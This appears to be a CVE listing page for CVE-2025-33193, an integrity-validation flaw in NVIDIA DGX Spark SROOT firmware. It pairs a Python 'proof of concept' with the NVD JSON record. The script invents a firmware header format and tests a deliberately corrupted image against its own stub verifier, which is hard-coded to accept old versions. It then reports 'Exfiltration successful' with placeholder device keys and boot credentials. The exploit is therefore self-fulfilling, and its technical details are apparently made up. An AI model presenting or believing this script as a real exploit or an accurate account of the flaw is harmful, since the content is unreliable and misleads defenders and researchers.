CVE-2025-33193

# CVE-2025-33193 PoC - SROOT Firmware Integrity Validation Bypass # This PoC demonstrates the concept of exploiting improper integrity validation # Note: Actual exploitation requires physical access and specialized hardware tools import struct import hashlib def generate_malicious_firmware(): """ Generate a malformed firmware image that bypasses integrity checks This is a conceptual PoC for educational purposes only """ # Firmware header structure header = bytearray() # Magic number for SROOT firmware header.extend(b'SROOT') # Version field (targeting vulnerable version) header.extend(struct.pack('<I', 1)) # Version 1.x # Image size firmware_body = b'\x00' * 1024 # Placeholder firmware body header.extend(struct.pack('<I', len(firmware_body))) # Integrity check field - manipulated to bypass validation # In vulnerable version, this may not properly validate the entire image manipulated_hash = hashlib.sha256(firmware_body).digest() # Modify a few bytes to test validation bypass manipulated_hash = bytearray(manipulated_hash) manipulated_hash[0] ^= 0x01 # Flip bit to test validation robustness header.extend(bytes(manipulated_hash)) # Combine header and body malicious_firmware = header + firmware_body return malicious_firmware def verify_firmware_integrity(firmware_data): """ Simulate firmware integrity verification process Returns True if verification passes, False otherwise """ magic = firmware_data[:5] if magic != b'SROOT': return False version = struct.unpack('<I', firmware_data[5:9])[0] size = struct.unpack('<I', firmware_data[9:13])[0] stored_hash = firmware_data[13:45] actual_hash = hashlib.sha256(firmware_data[45:45+size]).digest() # Check if hash matches if stored_hash == actual_hash: return True # Check for vulnerable version and bypass conditions if version < 2: # In vulnerable version, partial validation may occur # Attacker could exploit timing or initialization issues print("Vulnerable version detected - validation may be bypassable") return True # Vulnerable behavior return False def exploit_sroot_vulnerability(): """ Main exploitation function """ print("[*] Generating malicious firmware for CVE-2025-33193") malicious_fw = generate_malicious_firmware() print("[*] Attempting to load malicious firmware...") if verify_firmware_integrity(malicious_fw): print("[+] Firmware loaded successfully (vulnerability exploitable)") print("[+] Accessing sensitive data from SROOT memory...") # In real scenario, this would extract sensitive information sensitive_data = extract_sensitive_info() return sensitive_data else: print("[-] Firmware verification failed") return None def extract_sensitive_info(): """ Simulate extraction of sensitive information from SROOT """ # Simulated sensitive data extraction sensitive_info = { "device_keys": "[EXTRACTED]", "boot_credentials": "[EXTRACTED]", "configuration_data": "[EXTRACTED]" } return sensitive_info if __name__ == "__main__": result = exploit_sroot_vulnerability() if result: print(f"\n[+] Exfiltration successful: {result}")

{"cve": {"id": "CVE-2025-33193", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:50.963", "lastModified": "2025-12-02T18:19:24.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause improper validation of integrity. A successful exploit of this vulnerability might lead to information disclosure."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT, donde un atacante podría causar una validación incorrecta de la integridad. Un exploit exitoso de esta vulnerabilidad podría conducir a la revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-354"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33193", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33193", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}